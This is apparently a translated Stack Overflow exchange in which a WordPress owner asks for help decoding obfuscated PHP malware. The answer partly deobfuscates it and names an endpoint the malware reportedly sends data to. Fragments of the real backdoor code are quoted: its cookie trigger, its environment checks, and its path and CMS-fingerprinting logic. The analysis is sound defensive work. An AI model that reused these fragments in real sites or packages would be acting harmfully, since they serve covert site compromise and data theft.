如何解码WorPress PHP病毒文件?

时间:2018-10-14 16:25:41

标签: php wordpress decode malware

我的WordPress网站感染了一些恶意软件文件,发现很多文件如下所示, 我尝试使用一些在线解码器对其进行解码,但是没有运气。我想知道黑客使用此文件做什么。

我想他控制了我网站上的更多文件,但扫描程序只能通过解码这种希望找到其他文件路径来检测到此代码

找到的文件的路径在下面给出

wp-includes/rest-api/requests.ini
wp-includes/Requests/IPconfig.ini

下面的文件很少

pastebin中有完整文件 https://pastebin.com/EfUNTaRr

if(empty($_GET['ineedthispage'])){
ini_set('display_errors',"Off");
ignore_user_abort(1);
$I7rKRVNNat3intmYmv="10.1";
$IssgsfYr3WZGty="";
$IL8lxLZy5SGibS7od="";
$IGvpZBegv061k="";
if(!empty($_COOKIE['PHPSSIDDD2'])){
    $IGvpZBegv061k=$_COOKIE['PHPSSIDDD2'];
    }
    $IvVtGi5vH1edafW="RE3PUldBWUlTV4";
    if(!IIlFCqjaR5JVZ33VAo('curl_init')){
        $IssgsfYr3WZGty.="1\t";
        $IL8lxLZy5SGibS7od.="1\t";
    }
    if(!IIlFCqjaR5JVZ33VAo('fopen')){

有人可以在粘贴容器中对该文件进行解码。谢谢

1 个答案:

答案 0 :(得分:1)

我使用phpcs-fixer对该脚本进行了一些漂亮的查看。您可以here看到它。我没有花太多时间进行解码,所以我的推理可能是错误的=)

函数IIlFCqjaR5JVZ33VAo就像改进的function_exists一样,它检查函数是否存在以及是否可调用且未禁用(从ini获取)

function __function_exists($functionName)
{
    $functionName=strtolower(trim($functionName));
    if ($functionName=='') {
        return false;
    }
    $disabledFunctions=explode(",", @ini_get("disable_functions"));
    if (empty($disabledFunctions)) {
        $disabledFunctions=array();
    } else {
        $disabledFunctions=array_map('trim', array_map('strtolower', $disabledFunctions));
    }
    return (function_exists($functionName) && is_callable($functionName) && !in_array($functionName, $disabledFunctions));
}

脚本收集文件中的许多内容。此规则编码的文件名:

// this is like file hash
$ItZg0lwPNAV8rSZCcknwRw6=md5(__FILE__);
// ... some other stuff and define directory like {path_to_file}/cache{file_hash}
$Id3jh7jnThGJnxV0=dirname(__FILE__).DIRECTORY_SEPARATOR."cache".$ItZg0lwPNAV8rSZCcknwRw6;
// and then file stored in defined dir
$Id3jh7jnThGJnxV1=$Id3jh7jnThGJnxV0.DIRECTORY_SEPARATOR."ke".substr($ItZg0lwPNAV8rSZCcknwRw6, 0, 8)."ys";
// and so on for [keys, useragents, botips, referers, ...] with interesting logic which I don'tfully understand

然后一些数据发送到http://main.infowp.info/getdata.php。但是我不确定。为什么是这个域名?您可以看到它here

它通过检查特定功能和类是否存在来确定使用哪个CMS:WP,Drupal或Joomla:wp_insert_post,node_save,JFactory。